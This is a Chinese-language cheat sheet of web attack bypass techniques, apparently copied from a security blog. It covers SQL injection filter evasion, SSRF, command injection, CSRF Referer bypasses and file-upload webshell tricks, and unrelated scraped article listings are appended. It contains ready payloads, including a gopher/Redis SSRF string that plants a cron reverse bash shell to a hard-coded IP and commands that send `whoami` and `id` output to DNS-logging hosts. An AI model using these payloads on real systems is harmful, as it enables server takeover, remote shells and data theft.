SQL注入

十六进制绕过引号

  1. slect table_name from information_schema.table where table_schema="sqli";
  2.  
  3. slect table_name from information_schema.table where table_schema=0x73716c69;
  4.  
  5. slect table_name from information_schema.table where table_schema=CHAR(115, 113, 108, 105);

like或者in绕过等号

  1. select * from admin where id in (1,2,3,4);
  2.  
  3. select * from admin where id like 1;

join绕过逗号

  1. SELECT * FROM admin where id = 1 union select 1,2,group_concat(user(),' ',database(),' ',@@datadir)
  2.  
  3. SELECT * FROM admin where id = 1 union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C)

limit逗号的绕过

  1. select * from admin limit 0,2;
  2.  
  3. select * from admin limit 2 offset 0;

between绕过等号

  1. select * from admin where id between 1 and 3;

空格绕过

  1. select * from admin where id=1;
  2.  
  3. select/**/*/**/from/**/admin/**/where/**/id=1;
  4.  
  5. select/*1*/*from/*1*/admin/*1*/where/*1*/id=1;
  6.  
  7. select * from admin where id=1;

符号代替文字绕过

  • &&代替and

  • ||代替or

  • | 代替 xor

MySQL注释

SELECT * FROM Users WHERE id =’1’AND MID(VERSION()1,1)=’5’;

等价函数替换

  1. hex()、bin() ==> ascii()
  2.  
  3. sleep() ==>benchmark()
  4.  
  5. concat_ws()==>group_concat()
    substr((select 'password'),1,1) = 0x70
  6.  
  7.    strcmp(left('password',1), 0x69) = 1
  8.  
  9.    strcmp(left('password',1), 0x70) = 0
  10.  
  11.    strcmp(left('password',1), 0x71) = -1
    mid()、substr() ==> substring()
  12.  
  13. @@user ==> user()
  14.  
  15. @@datadir ==> datadir()

SSRF

限制协议绕过

通过HTTP(S)的链接302跳转到gopher协议上。

  1. <?php
    $schema = $_GET['s'];
    $ip = $_GET['i'];
    $port = $_GET['p'];
    $query = $_GET['q'];
    if(empty($port)){
    header("Location: $schema://$ip/$query");
    } else {
    header("Location: $schema://$ip:$port/$query");
    }
  1. # dict protocol - 探测Redis
    dict://127.0.0.1:6379/info
    curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info'
  2.  
  3. # file protocol - 任意文件读取
    curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd'
  4.  
  5. # gopher protocol - 一键反弹Bash
    # * 注意: gopher跳转的时候转义和`url`入参的方式有些区别
    curl -vvv 'http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0
    a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d
    %0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3
    %0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

IP限制绕过

利用[::]

  1. 利用[::]绕过localhost
    http://[::]:80/ >>> http://127.0.0.1

在windows尝试了chrome Firefox IE都无法访问

在Linux下Firefox是可以访问的。

Linux下curl wget也是可以访问的。

利用@

  1. http://example.com@127.0.0.1 => http://127.0.0.1

firefox下会弹出提示框。chrome直接跳转。

利用短地址

  1. http://dwz.cn/11SMa >>> http://127.0.0.1

利用xip.io和xip.name

  1. 10.0.0.1.xip.io 10.0.0.1
  2.  
  3. www.10.0.0.1.xip.io 10.0.0.1
  4.  
  5. mysite.10.0.0.1.xip.io 10.0.0.1
  6.  
  7. foo.bar.10.0.0.1.xip.io 10.0.0.1
    10.0.0.1.xip.name resolves to 10.0.0.1
  8.  
  9. www.10.0.0.2.xip.name resolves to 10.0.0.2
  10.  
  11. foo.10.0.0.3.xip.name resolves to 10.0.0.3
  12.  
  13. bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4

利用DNS解析

在域名上设置A记录,指向127.0.1

利用进制转换

  1. 十进制 ---||||||> 十六进制 ---||||||> 八进制 然后在访问时 指定协议然后加个0
  2.  
  3. http://0[八进制] 比如 115.239.210.26 首先用.分割数字 115 239 210 26 然后选择10进制转换16进制!
  4.  
  5. (要用0来表示前缀,可以是一个0也可以是多个0 XSS中多加几个0来绕过过滤一样!)
  6.  
  7. 首先把这四段数字给 转成 16 进制!结果:73 ef d2 1a 然后把 73efd21a 这十六进制一起转换成8进制!
  8.  
  9. 结果:16373751032
  10.  
  11. 然后指定协议 http:// 用0表示前缀 加上结果 链接:
  12.  
  13. http://0016373751032

利用Enclosed alphanumerics

  1. 利用Enclosed alphanumerics
    ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
    List:

利用句号

  1. 127001 >>> 127.0.0.1

命令执行

空格绕过

  1. < 符号
  2.  
  3. %09 符号
  4.  
  5. IFS$9 符号
  6.  
  7. ${IFS} 符号

  1. %0a 符号
  2.  
  3. %0d 符号
  4.  
  5. %09 符号

变量形式绕过

  1. a=who;b=am;c=i;$a$b$c

base64编码

  1. `echo "d2hvYW1p"|base64 -d`

DNS通道获取回显

linux:

  1. curl xxxx.ceye.io/`whoami`
  2.  
  3. ping -c 1 `whoami`.xxxx.ceye.io

特殊字符或者是空格出现的话,这时候可以通过一些编码来,比如base64

  1. curl http://xxxx.ceye.io/$(id|base64)

windows:

  1. http请求:
    for /F %x in ('whoami') do start http://xxx.ceye.io/%x

  1. dns请求:
    获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.t00ls.xxx.tu4.org
    获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.t00ls.xxx.tu4.org

ceye.io获取不到回显,尝试了用t00ls的T00ls DNSLOG

单引号和双引号

单引号双引号要成对出现

CSRF 绕过Referer

条件限制 不一定所有的Refere验证就可以绕过

Referer为空条件下

利用ftp://,http://,https://,file://,javascript:,data:这个时候浏览器地址栏是file://开头的

如果这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。

利用https协议 https向http跳转的时候Referer为空

判断Referer是某域情况下绕过

比如你找的csrf是xxx.com 验证的referer是验证的*.xx.com

可以找个二级域名 之后<img "csrf地址"="">之后在把文章地址发出去 就可以伪造。

判断Referer是否存在某关键词

referer判断存在不存在google.com这个关键词

在网站新建一个google.com目录 把CSRF存放在google.com目录,即可绕过

判断referer是否有某域名

判断了Referer开头是否以126.com以及126子域名 不验证根域名为126.com

那么我这里可以构造子域名x.126.com.xxx.com

文件上传

解析漏洞

IIS6.0解析漏洞

IIS6.0会把以下3种类型的文件会被IIS当作脚本文件(ASP、PHP、ASPX)来解析执行

  • a.asp;.jpg

  • /a.asp/2018042500310015.jpg

  • a.cer、a.asa、a.cdx IIS6.0会把这三种后缀当作ASP来执行。

Apache解析漏洞

在低版本的Apache中,系统会从右向左识别后缀,直至找到一个可以识别的后缀,然后将文件以该可识别的后缀进行解析。

  1. shell.php.v1.xxx
  2.  
  3. -- 系统无法识别xxx后缀名,则判断v1后缀名
    -- 系统仍无法识别v1后缀名,则判断php后缀名
    -- 系统可识别php后缀名,则将文件作为PHP文件解析

Nginx解析漏洞

Nginx<=0.8.37,在已上传到服务器的包含WEBSHELL代码的图片后面加上%00.php会将 /xx.jpg%00.php当作PHP文件来进行解析执行。

CGI解析漏洞

 CGI的解析漏洞主要影响IIS>7.0 和 Nginx 这两个WEB容器,它的产生原因是因为PHP.ini中cgi.fix_pathinfo=1,从而导致把其他格式文件按照PHP脚本来进行解析执行。

  Payload:

  1. http://IP/图片马地址/a.php

遇到这种环境,攻击者只需要找到一个上传点,然后上传一个图片马,然后访问图片构造Payload即可获取WEBSHELL。但此情景只能以PHP脚本解析执行文件。

客户端检测绕过(JavaScript检测)

这类检测通常在上传页面里含有专门检测文件上传的javascript代码最常见的就是检测扩展名是否合法

可以用firebug之类的插件把它禁掉或者通过burp之类的代理工具进行绕过提交

用burp进行代理修改先将文件扩展名改成jpg

服务端检测绕过(MIME检测)

MIME验证是通过获取上传文件时数据包中Content-Type的值来判断文件是否合法的。以下是常见图片的后缀和Content-Type对应表:

  1. 后缀 Content-Type
  2.  
  3. .jpg image/jpeg
    .gif image/gif
    .png image/png

MIME验证只需要攻击者抓取上传数据包,将数据包中的Content-Type的值修改为合法图片的Content-Type值即可绕过。

服务端检测绕过(目录路径检测)

目录路径检测,一般就检测路径是否合法

洞成因是因为对目录路径的检测不够严谨而导致可以用0x00截断进行攻击

服务端检测绕过(文件扩展名检测)

  • 文件名大小写绕过

  • 名单列表绕过

  • 特殊文件名绕过

  • 0x00截断绕过

  • htaccess文件攻击

  • 解析调用/漏洞绕过

服务端检测绕过(文件内容检测)

  • 文件幻数检测

  • 文件相关信息检测

图像文件相关信息检测常用的就是getimagesize()函数只需要把文件头部分伪造好就ok了,

就是在幻数的基础上还加了一些文件信息有点像下面的结构

  1. GIF89a
    (...somebinarydataforimage...)
    <?phpphpinfo();?>
    (...skippingtherestofbinarydata...)
  • 文件加载检测

常见的是图像渲染测试,再变态点的甚至是进行二次渲染

对渲染/加载测试的攻击方式是代码注入绕过

对二次渲染的攻击方式是攻击文件加载器自身

渲染/加载测试攻击-代码注入绕过

可以用图像处理软件对一张图片进行代码注入

用winhex看数据可以分析出这类工具的原理是

在不破坏文件本身的渲染情况下

找一个空白区进行填充代码,

一般会是图片的注释区对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的

from:https://uknowsec.cn/posts/notes/Web%E4%B8%AD%E5%B8%B8%E8%A7%81%E7%9A%84%E7%BB%95%E8%BF%87%E5%92%8C%E6%8A%80%E5%B7%A7%E6%80%BB%E7%BB%93.html

Web中常见的绕过和技巧的更多相关文章

  1. Java web中常见编码乱码问题(二)

    根据上篇记录Java web中常见编码乱码问题(一), 接着记录乱码案例: 案例分析:   2.输出流写入内容或者输入流读取内容时乱码(内容中有中文) 原因分析: a. 如果是按字节写入或读取时乱码, ...

  2. Java web中常见编码乱码问题(一)

    最近在看Java web中中文编码问题,特此记录下. 本文将会介绍常见编码方式和Java web中遇到中文乱码问题的常见解决方法: 一.常见编码方式: 1.ASCII 码 众所周知,这是最简单的编码. ...

  3. 日常工作中常见的mysql优化技巧

    1.介绍一下MYSQL经常使用的优化技巧. MySQL 自带 slow log 的分析工具 mysqldumpslow ,可是没有说明.本文通过分析该脚本,介绍了其用法. slow log 是 MyS ...

  4. CCS应用中常见的一些小技巧

    在单片机开发中,通常需要精确估算代码运行时间,用于对算法优化以及对项目平台选择提供参考,通常算法如果用汇编编写,可以人工计算出运行时间,用C语言编写也可以通过反汇编代码而计算到较为精确的运行时间,但当 ...

  5. 在Web中实现C/S模式的Tab

    在探讨C/S模式的Tab之前,我们先总结一下B/S模式的Tab通常是什么样的.web中常见的tab设计通常是用于分节展示大量信息以提高页面空间的利用率,而且这些信息通常是静态的,或者交互比较简单.通过 ...

  6. 风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧

    风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧 XSS绕过-过滤-编码 核心思想 后台过滤了特殊字符,比如说

  7. Java中常见的5种WEB服务器介绍

    这篇文章主要介绍了Java中常见的5种WEB服务器介绍,它们分别是Tomcat.Resin.JBoss.WebSphere.WebLogic,需要的朋友可以参考下 Web服务器是运行及发布Web应用的 ...

  8. 将web项目导入到eclipse中常见错误

     将web项目导入到eclipse中常见错误  错误1:string cannot be resolved to a type  原因:这种情况一般是因为你的JDK版本没有设置好,或者设置的有不一致的 ...

  9. web开发中常见的安全漏洞及避免方法

    1.安全攻击 1.SQL.HTML.JS.OS命令注入 2.XSS跨站脚本攻击,利用站内信任的用户,在web页面插入恶意script代码 3.CSRF跨站请求伪造,通过伪装来自信任用户的请求来利用受信 ...

随机推荐

  1. DOM——节点操作

    节点操作  var body = document.body; var div = document.createElement('div'); body.appendChild(div); ​ va ...

  2. http经典解析

    HTTP访问流程想象用浏览器打开imooc.com网站,HTTP走过的环节: 1.首先,是对imooc.com域名解析, (1.1)浏览器搜索浏览器自身的DNS缓存. (1.2)如果浏览器没有找到自身 ...

  3. Android中使用占位符

    Android中占位符的使用 有些朋友可能会动态的修改Android中strings.xml文件中的值,在这里给大家推荐一种简单的方法. strings.xml中节点是支持占位符的,如下所示: < ...

  4. NX二次开发-NXOPEN更改工程图视图名字baseView1->SetName("LSY");

    NX9+VS2012 #include <uf.h> #include <uf_draw.h> #include <uf_obj.h> #include <u ...

  5. .Net Core 部署之一 《CentOS 从GitHub/Gitee 等源代码网站部署Web网站》

    先看下楼主从某阿打折购买的渣渣服务器 lsb_release -a 一.安装dotnet-SDK 注册微软的服务 sudo rpm -Uvh https://packages.microsoft.co ...

  6. (转)python基础之迭代器协议和生成器(一)

    一 递归和迭代 二 什么是迭代器协议 1.迭代器协议是指:对象必须提供一个next方法,执行该方法要么返回迭代中的下一项,要么就引起一个StopIteration异常,以终止迭代 (只能往后走不能往前 ...

  7. centos 7 ifcnfig提示:bash: ifconfig: command not found的解决方法

    接着上一篇,配置完IP地址之后因为ip addr命令不符合我们的习惯,需要添加ifconfig命令 输入命令 yum -y install net-tools 即可解决

  8. sp_executeSql 用法 执行有参数的sql字符串 出现必须声明标量变量 "@XXX"。

    今天遇到了一个难题 就是把 一个拼接sql语句 的返回值 赋值给一个变量 经研究 要用sp_executeSql这个存储过程 据说是从sql 2005才开始有的 代码如下: declare @str ...

  9. Python服务端工程师就业面试指导✍✍✍

    Python服务端工程师就业面试指导  整个课程都看完了,这个课程的分享可以往下看,下面有链接,之前做java开发也做了一些年头,也分享下自己看这个视频的感受,单论单个知识点课程本身没问题,大家看的时 ...

  10. java-day12

    数据结构 常用的数据存储结构:栈,队列,数组,列表,红黑树. 栈:先进后出(入口和出口在用一侧) 队列:先进先出 数组: 查询快:因为数组的地址是连续的,通过数组的首地址找到数组中的元素. 增/删慢: ...